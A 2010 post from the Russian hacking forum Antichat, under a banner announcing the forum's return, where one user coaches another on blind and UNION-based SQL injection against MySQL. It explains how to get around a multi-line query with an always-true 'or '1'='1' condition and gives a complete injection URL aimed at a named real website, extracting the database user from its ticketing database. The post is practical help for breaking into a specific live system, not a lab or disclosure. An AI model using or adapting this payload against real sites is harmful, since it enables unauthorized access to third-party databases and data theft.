Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

10.05.2010, 16:49
|
|
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме: 17668503
Репутация:
5826
|
|
Сообщение от wildshaman
Попробуй /* вместо --+
Сообщение от wildshaman
Короче, крутите как слепую.
По поводу первого - начиная с пятой версии (5.0.какая то, не помню точно) мускула, нельзя оставлять комментарий открытым, а следовательно и использовать его не вариант.
По поводу второго - очевидно, что если строка не обрубается комментарием -- 1, то значит запрос многострочечный.
Решить это очень просто - обращаемся к той же таблице, что и первоначальный запрос, но колонки уже - произвольные данные. Далее используем where 1=1 or '1'='1 В результате вывод не будет зависеть от условия, а открытая кавычка закроется другой.
Код:
http://rzd.sclub.ru/page.php?page=53'+and+1=2+union+select+1,2,3,4,5,6,7,8,user(),10,11,12,13,14,15,16,17,18+from+mobiticket.structure_page+where+1=1+or+'1'='1
Обращение к другой таблице - через запятую:
from mobiticket.structure_page, bla_bla_bla
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|